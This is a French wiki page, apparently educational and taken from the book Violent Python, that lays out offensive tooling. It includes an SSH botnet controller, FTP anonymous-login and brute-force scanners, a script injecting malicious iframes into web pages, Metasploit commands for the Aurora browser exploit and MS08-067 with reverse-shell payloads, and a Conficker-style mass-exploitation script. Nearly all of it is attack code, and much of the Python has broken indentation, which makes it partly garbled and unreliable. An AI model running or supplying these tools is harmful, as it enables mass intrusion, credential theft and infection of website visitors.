Construction d'un botnet ssh

De wiki.nexiat.fr
Aller à la navigation Aller à la recherche

🔒 Contenu de sécurité — usage encadré

Cette page décrit des techniques de sécurité offensive à des fins exclusivement pédagogiques et professionnelles (formation, préparation de certification, montée en compétence défensive).

Ces techniques ne doivent être mises en œuvre que dans un laboratoire isolé ou sur un système pour lequel vous disposez d'une autorisation écrite explicite du propriétaire. Les employer contre un système tiers sans autorisation est une infraction pénale (art. 323-1 et suivants du Code pénal). Voir les avertissements généraux.

Note : Le code de cette page est repris de l'ouvrage Violent Python (T. J. O'Connor, Syngress, 2012). Reproduit ici à titre pédagogique ; les droits appartiennent à l'auteur et à l'éditeur (art. L122-4 CPI).
Fiche express
Domaine Sécurité — SSH / FTP / SMB
Dépendances pxssh, ftplib, python-nmap
Technique Botnet, compromission de masse

Construction d'un botnet SSH en Python (classe Client à base de pxssh), puis compromission de masse via FTP anonyme, injection d'iframes et exploitation SMB avec Metasploit. Fourni à titre pédagogique ; toutes les adresses et identifiants sont des exemples de laboratoire.

  • introduction a la classe qui permets de se connecter aux multiples clients :
import optparse
import pxssh
class Client:
	def __init__(self, host, user, password):
		self.host = host
		self.user = user
		self.password = password
		self.session = self.connect()
	def connect(self):
		try:
			s = pxssh.pxssh()
			s.login(self.host, self.user, self.password)
			return s
		except Exception, e:
			print e
			print '[-] Error Connecting'
def send_command(self, cmd):
	self.session.sendline(cmd)
	self.session.prompt()
	return self.session.before


  • On wrappe les clients, ce qui permets de controler facilement les connections distantes et d'insérer des commandes a executer.
import optparse
import pxssh
class Client:
	def __init__(self, host, user, password):
		self.host = host
		self.user = user
		self.password = password
		self.session = self.connect()
	def connect(self):
		try:
			s = pxssh.pxssh()
			s.login(self.host, self.user, self.password)
			return s
		except Exception, e:
			print e
			print '[-] Error Connecting'
	def send_command(self, cmd):
		self.session.sendline(cmd)
		self.session.prompt()
		return self.session.before
def botnetCommand(command):
	for client in botNet:
		output = client.send_command(command)
		print '[*] Output from ' + client.host
		print '[+] ' + output + '\n'
def addClient(host, user, password):
	client = Client(host, user, password)
	botNet.append(client)
botNet = []
addClient('10.10.10.110', 'root', 'toor')
addClient('10.10.10.120', 'root', 'toor')
addClient('10.10.10.130', 'root', 'toor')
botnetCommand('uname -v')
botnetCommand('cat /etc/issue')

compromettre massivement via FTP et WEB

Le principe et de placer un nouveau fichier index.htm contenant une redirection fraudueuse.

  • contruction d'un scanner de ftp annonyme :
import ftplib
def anonLogin(hostname):
try:
 ftp = ftplib.FTP(hostname)
 ftp.login('anonymous', 'me@your.com')
 print '\n[*] ' + str(hostname) +\
 ' FTP Anonymous Logon Succeeded.'
 ftp.quit()
 return True
except Exception, e:
 print '\n[-] ' + str(hostname) +\
 ' FTP Anonymous Logon Failed.'
 return False
host = '192.168.95.179'
anonLogin(host)
# python anonLogin.py
  • utilisation de ftplib pour faire du bruteforce d'utilisateur FTP :
# python bruteLogin.py
import ftplib
def bruteLogin(hostname, passwdFile):
	pF = open(passwdFile, 'r')
	for line in pF.readlines():
		userName = line.split(':')[0]
		passWord = line.split(':')[1].strip('\r').strip('\n')
		print "[+] Trying: "+userName+"/"+passWord
		try:
			ftp = ftplib.FTP(hostname)
			ftp.login(userName, passWord)
			print '\n[*] ' + str(hostname) +\
			' FTP Logon Succeeded: '+userName+"/"+passWord
			ftp.quit()
			return (userName, passWord)
		except Exception, e:
			pass
	print '\n[-] Could not brute force FTP credentials.'
	return (None, None)
host = '192.168.95.179'
passwdFile = 'userpass.txt'
bruteLogin(host, passwdFile)


  • recherche de pages web dans un serveur FTP :
# python defaultPages.py
import ftplib
def returnDefault(ftp):
	try:
		dirList = ftp.nlst()
	except:
		dirList = []
		print '[-] Could not list directory contents.'
		print '[-] Skipping To Next Target.'
		return
	retList = []
	for fileName in dirList:
		fn = fileName.lower()
		if '.php' in fn or '.htm' in fn or '.asp' in fn:
		print '[+] Found default page: ' + fileName
		retList.append(fileName)
	return retList
host = '192.168.95.179'
userName = 'guest'
passWord = 'guest'
ftp = ftplib.FTP(host)
ftp.login(userName, passWord)
returnDefault(ftp)
  • ajout d'un code malicieux dans les pages trouvées :

modifier le lien d'une page web afin de le rediriger vers notre serveur :

création du payload malicieux
# msfcli exploit/windows/browser/ms10_002_aurora  LHOST=10.10.10.112 SRVHOST=10.10.10.112 URIPATH=/exploit PAYLOAD=windows/shell/reverse_tcp LHOST=10.10.10.112 LPORT=443 E

La génération du payload indique l'emplacement du fichier généré. Les clients vulnérables seront infectés dès l'activation de ce lien.

  • on peut egalement placer une iframe sur la page defaut du web :
#  python injectPage.py
import ftplib
def injectPage(ftp, page, redirect):
	f = open(page + '.tmp', 'w')
	ftp.retrlines('RETR ' + page, f.write)
	print '[+] Downloaded Page: ' + page
	f.write(redirect)
	f.close()
	print '[+] Injected Malicious IFrame on: ' + page
	ftp.storlines('STOR ' + page, open(page + '.tmp'))
	print '[+] Uploaded Injected Page: ' + page
host = '192.168.95.179'
userName = 'guest'
passWord = 'guest'
ftp = ftplib.FTP(host)
ftp.login(userName, passWord)
redirect = '<iframe src='+\
	'"http://10.10.10.112:8080/exploit"></iframe>'
injectPage(ftp, 'index.html', redirect)
  • faire ces 3 actions en meme temps
#  python massCompromise.py -H 192.168.95.179 -r '<iframe src="http://10.10.10.112:8080/exploit"></iframe>' -f userpass.txt
import ftplib
import optparse
import time
def anonLogin(hostname):
	try:
		ftp = ftplib.FTP(hostname)
		ftp.login('anonymous', 'me@your.com')
		print '\n[*] ' + str(hostname) \
		+ ' FTP Anonymous Logon Succeeded.'
		ftp.quit()
		return True
	except Exception, e:
		print '\n[-] ' + str(hostname) +\
			' FTP Anonymous Logon Failed.'
		return False
def bruteLogin(hostname, passwdFile):
	pF = open(passwdFile, 'r')
	for line in pF.readlines():
		time.sleep(1)
		userName = line.split(':')[0]
		passWord = line.split(':')[1].strip('\r').strip('\n')
		print '[+] Trying: ' + userName + '/' + passWord
		try:
			ftp = ftplib.FTP(hostname)
			ftp.login(userName, passWord)
			print '\n[*] ' + str(hostname) +\
				' FTP Logon Succeeded: '+userName+'/'+passWord
			ftp.quit()
			return (userName, passWord)
		except Exception, e:
			pass
	print '\n[-] Could not brute force FTP credentials.'
	return (None, None)
def returnDefault(ftp):
	try:
		dirList = ftp.nlst()
	except:
		dirList = []
		print '[-] Could not list directory contents.'
		print '[-] Skipping To Next Target.'
		return
	retList = []
	for fileName in dirList:
		fn = fileName.lower()
		if '.php' in fn or '.htm' in fn or '.asp' in fn:
		print '[+] Found default page: ' + fileName
		retList.append(fileName)
	return retList
def injectPage(ftp, page, redirect):
	f = open(page + '.tmp', 'w')
	ftp.retrlines('RETR ' + page, f.write)
	print '[+] Downloaded Page: ' + page
	f.write(redirect)
	f.close()
	print '[+] Injected Malicious IFrame on: ' + page
	ftp.storlines('STOR ' + page, open(page + '.tmp'))
	print '[+] Uploaded Injected Page: ' + page
def attack(username, password, tgtHost, redirect):
	ftp = ftplib.FTP(tgtHost)
	ftp.login(username, password)
	defPages = returnDefault(ftp)
	for defPage in defPages:
		injectPage(ftp, defPage, redirect)
def main():
	parser = optparse.OptionParser('usage%prog '+\
		'-H <target host[s]> -r <redirect page>'+\
		'[-f <userpass file>]')
	parser.add_option('-H', dest='tgtHosts', \
		type='string', help='specify target host')
	parser.add_option('-f', dest='passwdFile', \
		type='string', help='specify user/password file')
	parser.add_option('-r', dest='redirect', \
		type='string', help='specify a redirection page')
	(options, args) = parser.parse_args()
	tgtHosts = str(options.tgtHosts).split(', ')
	passwdFile = options.passwdFile
	redirect = options.redirect
	if tgtHosts == None or redirect == None:
		print parser.usage
		exit(0)
	for tgtHost in tgtHosts:
		username = None
		password = None
		if anonLogin(tgtHost) == True:
		username = 'anonymous'
		password = 'me@your.com'
		print '[+] Using Anonymous Creds to attack'
		attack(username, password, tgtHost, redirect)
	elif passwdFile != None:
		(username, password) =\
			bruteLogin(tgtHost, passwdFile)
	if password != None:
		print'[+] Using Creds: ' +\
		username + '/' + password + ' to attack'
		attack(username, password, tgtHost, redirect)
if __name__ == '__main__':
main()
# msfcli exploit/windows/browser/ms10_002_aurora LHOST=10.10.10.112 SRVHOST=10.10.10.112 URIPATH=/exploit PAYLOAD=windows/shell/reverse_tcp LHOST=10.10.10.112 LPORT=443 E
> sessions -i 1



attaquer le SMB service avec metasploit

# vi conficker.rb
use exploit/windows/smb/ms08_067_netapi
set RHOST 192.168.1.37
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.77.77
set LPORT 7777
exploit -j -z
$ msfconsole -r conficker.rc
> execute -i -f cmd.exe
  • interagir
import nmap
def findTgts(subNet):
	nmScan = nmap.PortScanner()
	nmScan.scan(subNet, '445')
	tgtHosts = []
	for host in nmScan.all_hosts():
		if nmScan[host].has_tcp(445):
		state = nmScan[host]['tcp'][445]['state']
		if state == 'open':
		print '[+] Found Target Host: ' + host
		tgtHosts.append(host)
return tgtHosts

----

def setupHandler(configFile, lhost, lport):
	configFile.write('use exploit/multi/handler\n')
	configFile.write('set PAYLOAD '+\
		'windows/meterpreter/reverse_tcp\n')
	configFile.write('set LPORT ' + str(lport) + '\n')
	configFile.write('set LHOST ' + lhost + '\n')
	configFile.write('exploit -j -z\n')
	configFile.write('setg DisablePayloadHandler 1\n')

----
def confickerExploit(configFile, tgtHost, lhost, lport):
	configFile.write('use exploit/windows/smb/ms08_067_netapi\n')
	configFile.write('set RHOST ' + str(tgtHost) + '\n')
	configFile.write('set PAYLOAD '+\
		'windows/meterpreter/reverse_tcp\n')
	configFile.write('set LPORT ' + str(lport) + '\n')
	configFile.write('set LHOST ' + lhost + '\n')
	configFile.write('exploit -j -z\n')

----
def smbBrute(configFile, tgtHost, passwdFile, lhost, lport):
	username = 'Administrator'
	pF = open(passwdFile, 'r')
	for password in pF.readlines():
	password = password.strip('\n').strip('\r')
	configFile.write('use exploit/windows/smb/psexec\n')
	configFile.write('set SMBUser ' + str(username) + '\n')
	configFile.write('set SMBPass ' + str(password) + '\n')
	configFile.write('set RHOST ' + str(tgtHost) + '\n')
	configFile.write('set PAYLOAD '+\
		'windows/meterpreter/reverse_tcp\n')
	configFile.write('set LPORT ' + str(lport) + '\n')
	configFile.write('set LHOST ' + lhost + '\n')
	configFile.write('exploit -j -z\n')
  • Putting it Back Together to Build Our Own Conficker
# python conficker.py -H 192.168.1.30-50 -l 192.168.1.3 -F passwords.txt
import os
import optparse
import sys
import nmap
def findTgts(subNet):
	nmScan = nmap.PortScanner()
	nmScan.scan(subNet, '445')
	tgtHosts = []
	for host in nmScan.all_hosts():
		if nmScan[host].has_tcp(445):
			state = nmScan[host]['tcp'][445]['state']
				if state == 'open':
					print '[+] Found Target Host: ' + host
					tgtHosts.append(host)
		return tgtHosts
def setupHandler(configFile, lhost, lport):
	configFile.write('use exploit/multi/handler\n')
	configFile.write('set payload '+\
		'windows/meterpreter/reverse_tcp\n')
	configFile.write('set LPORT ' + str(lport) + '\n')
	configFile.write('set LHOST ' + lhost + '\n')
	configFile.write('exploit -j -z\n')
	configFile.write('setg DisablePayloadHandler 1\n')
def confickerExploit(configFile, tgtHost, lhost, lport):
	configFile.write('use exploit/windows/smb/ms08_067_netapi\n')
	configFile.write('set RHOST ' + str(tgtHost) + '\n')
	configFile.write('set payload '+\
		'windows/meterpreter/reverse_tcp\n')
	configFile.write('set LPORT ' + str(lport) + '\n')
	configFile.write('set LHOST ' + lhost + '\n')
	configFile.write('exploit -j -z\n')
def smbBrute(configFile, tgtHost, passwdFile, lhost, lport):
	username = 'Administrator'
	pF = open(passwdFile, 'r')
	for password in pF.readlines():
		password = password.strip('\n').strip('\r')
		configFile.write('use exploit/windows/smb/psexec\n')
		configFile.write('set SMBUser ' + str(username) + '\n')
		configFile.write('set SMBPass ' + str(password) + '\n')
		configFile.write('set RHOST ' + str(tgtHost) + '\n')
		configFile.write('set payload '+\
			'windows/meterpreter/reverse_tcp\n')
		configFile.write('set LPORT ' + str(lport) + '\n')
		configFile.write('set LHOST ' + lhost + '\n')
		configFile.write('exploit -j -z\n')
def main():
	configFile = open('meta.rc', 'w')
	parser = optparse.OptionParser('[-] Usage%prog '+\
		'-H <RHOST[s]> -l <LHOST> [-p <LPORT> -F <Password File>]')
	parser.add_option('-H', dest='tgtHost', type='string', \
		help='specify the target address[es]')
	parser.add_option('-p', dest='lport', type='string', \
		help='specify the listen port')
	parser.add_option('-l', dest='lhost', type='string', \
		help='specify the listen address')
	parser.add_option('-F', dest='passwdFile', type='string', \
		help='password file for SMB brute force attempt')
	(options, args) = parser.parse_args()
	if (options.tgtHost == None) | (options.lhost == None):
		print parser.usage
		exit(0)
	lhost = options.lhost
	lport = options.lport
	if lport == None:
		lport = '1337'
	passwdFile = options.passwdFile
	tgtHosts = findTgts(options.tgtHost)
	setupHandler(configFile, lhost, lport)
	for tgtHost in tgtHosts:
		confickerExploit(configFile, tgtHost, lhost, lport)
		if passwdFile != None:
		smbBrute(configFile, tgtHost, passwdFile, lhost, lport)
		configFile.close()
	os.system('msfconsole -r meta.rc')
if __name__ == '__main__':
main()

Voir aussi